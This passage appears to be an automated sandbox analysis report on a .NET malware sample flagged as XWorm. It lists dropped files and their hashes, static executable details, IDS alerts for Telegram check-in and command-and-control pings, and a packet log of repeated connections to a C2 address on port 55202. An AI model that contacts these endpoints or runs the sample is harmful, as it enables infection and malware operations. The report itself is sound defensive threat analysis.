SSDEEP:	48:cvIwWl8zsNJg77aI9BryWpW8VYj3PYm8M4J4pUF3y+q8vdpLxt8P7Hhd:uIjfnI7fX7ViSJEKZI7Hhd
MD5:	F5E3164DF46AD4B748AB657EAC6E5B0E
SHA1:	0B93EC341F70DA459EA17CF7576FCB3A4E2E05F9
SHA-256:	A5D4E3F65E992F4030207B4028ADFAA83417C809E8D4BD0423D94468F1DD6AB6
SHA-512:	115B7A5BD3E0B327CF4C229E9567BE349F58188ECC12A6FBB4BA6B0621CEEFD6AFD9733400AB8B338C38F8F9C710EAFF9C5E79E5B3B11338464FFE8063825F03
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515556" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.log

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379540626579189
Encrypted:	false
SSDEEP:	48:BWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMuge//YUyus:BLHxvIIwLgZ2KRHWLOug8s
MD5:	E69342C07081A0B5758E395CA798BE5D
SHA1:	CE601F56F96A76C622AB2C000255A628B2C57E5B
SHA-256:	5EDB0DFF728B1BF3A650145974EEF9CEB2C89EBF15146481496FA18636608FA8
SHA-512:	CD0C5723F3CE7028401AA486713349711F64611BECDFA20E080DC83D0227A615F070DD014CAF95F8F524C507116B8519FE4287B727F9724B947F9DB42F91E45A
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2gxfn111.dfi.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_coqbk5j1.kuj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jqvi3wjx.qt2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qnojatvs.u4o.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421885086782537
Encrypted:	false
SSDEEP:	6144:iSvfpi6ceLP/9skLmb0OTFWSPHaJG8nAgeMZMMhA2fX4WABlEnNm0uhiTw:xvloTFW+EZMM6DFyQ03w
MD5:	40182805E30594C1A47A833101A7F18E
SHA1:	9771FB84B5BE19A3FE458A469208A4C39494C56E
SHA-256:	8BD735356C7E35A30ED2206635E9C8516FE8CA6D669DDFFE203BBADE4D24D76B
SHA-512:	77C97BDF0344D4F7266570A469C163340681EBFA78D8535FDD4F47C108D71D2AFF8C803101047B133E74BCC08CC3B603A147AB6F012871157CFB1CD9EFC9CD2A
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm....-...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.724397078887104
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
File size:	434'176 bytes
MD5:	a4cd1ff60c7b69df5a061df3365e60c7
SHA1:	e85cd869046c923938c1268c5eed9d30f0f94668
SHA256:	657b68666c2b79d65d51a403dd7fa0e35b1109156290efd69a681777eb6e4107
SHA512:	b6605cefd430df2b89fe7e48bc42fd8930bfd73d1586cb60e1cd0f42934977e4c051b8cbb45221c422b018156302552fbb8d004ee383ba997ea8987b4906bdce
SSDEEP:	6144:3dLggcpnE0XhbB2XmCCXF1eHkfhl3USgyIPoJdrN+NZF0EDt2AvPTe8bQb:3dggiXJkw18uhJTeOdR+5hQAvC8bQb
TLSH:	7394F1A42656D916C0D20BB50D32E2F867B64DCCE812C30BEBDA7EEF7C3A7552846351
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....u{...............0.............f.... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x46b566
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xBE7B7599 [Wed Apr 8 23:41:13 2071 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6b512	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6c000	0x5a4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x6a3b4	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x6956c	0x69600	52bcb8c72601aace651d4026653a56f9	False	0.912700177935943	data	7.7368081138603095	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x6c000	0x5a4	0x600	2ce99079c5318b9fb08ea1f5e910ab6c	False	0.419921875	data	4.086638062125505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6e000	0xc	0x200	db501a188f47149e6fca9ea8d5448160	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x6c090	0x314	data			0.434010152284264
RT_MANIFEST	0x6c3b4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T11:31:08.995831+0200	2853685	ETPRO MALWARE Win32/XWorm Checkin via Telegram	1	192.168.2.5	49708	149.154.167.220	443	TCP
2024-09-25T11:32:23.446645+0200	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.5	49734	147.185.221.22	55202	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 11:31:07.775232077 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 25, 2024 11:31:07.775285006 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 25, 2024 11:31:07.775367022 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 25, 2024 11:31:07.781055927 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 25, 2024 11:31:07.781079054 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 25, 2024 11:31:08.406729937 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 25, 2024 11:31:08.406855106 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 25, 2024 11:31:08.414784908 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 25, 2024 11:31:08.414798975 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 25, 2024 11:31:08.415205002 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 25, 2024 11:31:08.458451033 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 25, 2024 11:31:08.485009909 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 25, 2024 11:31:08.531400919 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 25, 2024 11:31:08.995898008 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 25, 2024 11:31:08.995984077 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 25, 2024 11:31:08.996049881 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 25, 2024 11:31:09.002259970 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 25, 2024 11:31:09.157423019 CEST	49710	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:09.162383080 CEST	55202	49710	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:09.162540913 CEST	49710	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:09.195919037 CEST	49710	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:09.200809002 CEST	55202	49710	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:11.817769051 CEST	55202	49710	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:11.821160078 CEST	49710	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:13.771183968 CEST	49710	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:13.773112059 CEST	49712	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:13.776186943 CEST	55202	49710	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:13.777916908 CEST	55202	49712	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:13.778131962 CEST	49712	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:13.800976038 CEST	49712	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:13.809524059 CEST	55202	49712	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:16.757965088 CEST	55202	49712	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:16.758147001 CEST	49712	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:17.068016052 CEST	49712	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:17.069550991 CEST	49713	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:17.073079109 CEST	55202	49712	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:17.074459076 CEST	55202	49713	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:17.074553013 CEST	49713	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:17.116945028 CEST	49713	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:17.122033119 CEST	55202	49713	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:19.769987106 CEST	55202	49713	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:19.770061016 CEST	49713	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:22.177453041 CEST	49713	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:22.181372881 CEST	49717	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:22.182396889 CEST	55202	49713	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:22.186172009 CEST	55202	49717	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:22.188815117 CEST	49717	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:22.217221975 CEST	49717	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:22.224616051 CEST	55202	49717	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:24.928502083 CEST	55202	49717	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:24.929188967 CEST	49717	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:25.833547115 CEST	49717	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:25.834891081 CEST	49718	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:25.839025974 CEST	55202	49717	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:25.839730978 CEST	55202	49718	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:25.839802027 CEST	49718	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:25.859332085 CEST	49718	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:25.864151955 CEST	55202	49718	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:28.491193056 CEST	55202	49718	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:28.491384029 CEST	49718	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:28.567954063 CEST	49718	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:28.569722891 CEST	49719	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:28.573220968 CEST	55202	49718	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:28.574698925 CEST	55202	49719	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:28.574790955 CEST	49719	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:28.597140074 CEST	49719	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:28.601979017 CEST	55202	49719	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:31.240084887 CEST	55202	49719	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:31.240318060 CEST	49719	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:33.083745956 CEST	49719	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:33.085140944 CEST	49720	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:33.344516993 CEST	55202	49719	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:33.344559908 CEST	55202	49720	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:33.344647884 CEST	49720	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:33.364641905 CEST	49720	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:33.369535923 CEST	55202	49720	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:36.004740000 CEST	55202	49720	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:36.004821062 CEST	49720	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:37.817946911 CEST	49720	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:37.819233894 CEST	49721	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:37.822921991 CEST	55202	49720	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:37.824018955 CEST	55202	49721	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:37.824177027 CEST	49721	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:37.841557980 CEST	49721	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:37.846381903 CEST	55202	49721	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:40.474981070 CEST	55202	49721	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:40.475332022 CEST	49721	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:42.880583048 CEST	49721	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:42.882345915 CEST	49722	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:42.885500908 CEST	55202	49721	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:42.887151003 CEST	55202	49722	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:42.887227058 CEST	49722	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:42.905838966 CEST	49722	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:42.910651922 CEST	55202	49722	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:45.539747000 CEST	55202	49722	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:45.541224003 CEST	49722	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:46.177515984 CEST	49722	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:46.179519892 CEST	49723	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:46.182442904 CEST	55202	49722	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:46.184530020 CEST	55202	49723	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:46.184598923 CEST	49723	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:46.205467939 CEST	49723	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:46.212189913 CEST	55202	49723	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:48.859380007 CEST	55202	49723	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:48.859591961 CEST	49723	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:50.349308968 CEST	49723	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:50.351699114 CEST	49724	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:50.354953051 CEST	55202	49723	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:50.357640028 CEST	55202	49724	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:50.357738018 CEST	49724	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:50.384630919 CEST	49724	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:50.394099951 CEST	55202	49724	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:53.002875090 CEST	55202	49724	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:53.002966881 CEST	49724	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:54.943957090 CEST	49724	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:54.946036100 CEST	49725	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:54.948832035 CEST	55202	49724	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:54.950896025 CEST	55202	49725	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:54.951005936 CEST	49725	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:54.970515966 CEST	49725	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:54.975339890 CEST	55202	49725	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:57.670661926 CEST	55202	49725	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:57.670756102 CEST	49725	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:59.567943096 CEST	49725	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:59.569350004 CEST	49727	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:59.573237896 CEST	55202	49725	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:59.574476957 CEST	55202	49727	147.185.221.22	192.168.2.5
Sep 25, 2024 11:31:59.574552059 CEST	49727	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:59.591393948 CEST	49727	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:31:59.596272945 CEST	55202	49727	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:02.273792982 CEST	55202	49727	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:02.273920059 CEST	49727	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:02.786676884 CEST	49727	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:02.787914991 CEST	49728	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:02.791584015 CEST	55202	49727	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:02.792701006 CEST	55202	49728	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:02.792792082 CEST	49728	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:02.809473991 CEST	49728	55202	192.168.2.5	147.185.221.22
